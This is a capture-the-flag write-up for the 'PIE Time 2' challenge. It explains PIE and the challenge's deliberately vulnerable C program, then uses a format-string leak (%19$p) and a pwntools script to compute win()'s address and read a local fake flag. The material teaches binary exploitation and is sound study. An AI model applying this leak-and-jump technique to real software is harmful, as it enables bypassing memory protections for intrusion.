PIE Time 2
Author: Darkraicg492
Description: Can you try to get the flag? I’m not revealing anything anymore!!
In this challenge we have given a C Code vuln.c
along with a binary executable vuln
The program works as follows -
$ ./vuln
Enter your name:tushar
tushar
enter the address to jump to, ex => 0x12345: xyz
Segfault Occurred, incorrect address.
Umm… Interesting. Let’s analyze security properties of givne binary using checksec
command.
$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 81 Symbols No 0 2 vuln
Here PIE is enabled for the executable as we can see
What is PIE?
PIE stands for Position Independent Executable. It’s a compiler feature that makes a program’s code segment (the .text section) load at a random address in memory every time the program is run.
In other words, the base address of the binary changes each time, just like shared libraries under ASLR (Address Space Layout Randomization).
Why PIE Matters in Exploitation
In binaries without PIE, the code segment is loaded at a fixed address. That means:
- Function addresses (like main() or win()) are always the same.
- You can hardcode return addresses or ROP gadgets.
- Exploitation is easier.
In PIE-enabled binaries:
- The code segment is loaded at a random base address.
- You can’t hardcode absolute addresses.
- You must first leak an address and calculate the offset.
Now given vuln.c code is -
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
The main
function here calling another function call_functions
The function call_functions
is taking a input name and then taking a input address and will call the function at that memory address.
The win
function here is printing the flag from a file flag.txt, which is most prolly on the remote server
To test our exploit locally, we’ll create a dummy flag.txt
file with a fake flag:
## flag.txt
flag{fake_flag}
Now the exploit here is to pass address of win
function in the memory address input and hence the flag from flag.txt
will get printed.
Since PIE is enabled we need to leak a runtime memory address of any function/variable in order to calculate offset for win function to evaluate actual runtime address of win function.
Now if we look at the code inside function call_functions
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
The buffer
directly passed to printf which can cause the format string vulnerability.
We can print data on stack using %x
as input
$ ./vuln
Enter your name:%x%x%x
25782578fbad2288a782578
enter the address to jump to, ex => 0x12345:
Similarly %p
can be used to leak memory addresses.
Now lets run vuln
and attach a debugger to it -
$ ./vuln
Enter your name:
In another terminal windows attach gdb
$ ps ax | grep vuln
4053 pts/2 S+ 0:00 ./vuln
4287 pts/4 S+ 0:00 grep --color=auto vuln
copy the PID (here it is 4053)
and run gdb
to diassemble main function
$ gdb -p 4053
....
....
....
(gdb) disas main
Dump of assembler code for function main:
0x0000558dff422400 <+0>: endbr64
0x0000558dff422404 <+4>: push %rbp
0x0000558dff422405 <+5>: mov %rsp,%rbp
0x0000558dff422408 <+8>: lea -0x166(%rip),%rsi # 0x558dff4222a9 <segfault_handler>
0x0000558dff42240f <+15>: mov $0xb,%edi
0x0000558dff422414 <+20>: call 0x558dff422170 <signal@plt>
0x0000558dff422419 <+25>: mov 0x2bf0(%rip),%rax # 0x558dff425010 <stdout@@GLIBC_2.2.5>
0x0000558dff422420 <+32>: mov $0x0,%ecx
0x0000558dff422425 <+37>: mov $0x2,%edx
0x0000558dff42242a <+42>: mov $0x0,%esi
0x0000558dff42242f <+47>: mov %rax,%rdi
This will leak the address of main 0x558dff422400
Now let’s input approx 20 %p
as name input (random value) also enter c
in gdb to continue the running process
$ ./vuln
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x558e0c8f22a1 0xfbad2288 0xf370dd5f 0x558e0c8f22dd 0x4 0x7f13cba5eff0 (nil) 0x252070252070252e 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070 0x7fff5a77e8a0 0x5e3b980a6f49e900 0x7fff5a77e8a0 0x558dff422441 0x1
At postion of 19th %p we get 0x558dff422441
which is only at a gap of hex 0x41 from the address of main function 0x558dff422400
This value can be used to reterive address of win function.
What to do ?
- calculate win offeset
- use actual address of main and offset to get actuall memory address of win
- pass address of win in 2nd input to run win function and hence get the flag
We’ll do so by the following python script.
from pwn import *
binary = ELF("./vuln")
# print(binary.symbols)
win_offset = binary.symbols["main"] - binary.symbols["win"]
print("Win offset: ", hex(win_offset))
## remote process
HOST = "..."
PORT = "..."
# p = remote(HOST, PORT)
p = process("./vuln")
p.recvuntil(b"name:")
payload = b"%19$p"
p.sendline(payload)
v = p.recvline().strip()
main_address = int(v, 16) - 0x41
print(f"Main memory address: {hex(main_address)}")
win_address = main_address - win_offset
print(f"Win memory address: {hex(win_address)}")
p.sendline(hex(win_address).encode())
p.interactive()
This script first calculate offset using the symbol address of main and win which are hardcoded in binary.
Symbol address is the offset of a function or variable inside the binary file. Runtime address is the actual memory address where it’s loaded during execution, calculated as base address + symbol offset (important when PIE is enabled). When PIE is disabled both are same
Then it uses payload %19$p
for name input to print the address that we previously got as 0x558dff422441
, then we’ll calculate address of main by subtracting 0x41 from it.
after that we’ll subtract our offset from address of main to get the win address.
and thus pass that win address for 2nd input value to get win executed and hence the flag will be printed.
$ python sol.py
[*] '/mnt/d/work/picoctf/pie-time-2/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Win offset: 0x96
[+] Starting local process './vuln': pid 5402
b'0x55702d409441'
Main memory address: 0x55702d409400
Win memory address: 0x55702d40936a
[*] Switching to interactive mode
enter the address to jump to, ex => 0x12345: You won!
flag{fake_flag}
[*] Got EOF while reading in interactive
$
Wow!!! we got the flag in our local environment successfully, in similar way we can do it on remote server by replacing the HOST and PORT with host and port of instance you started.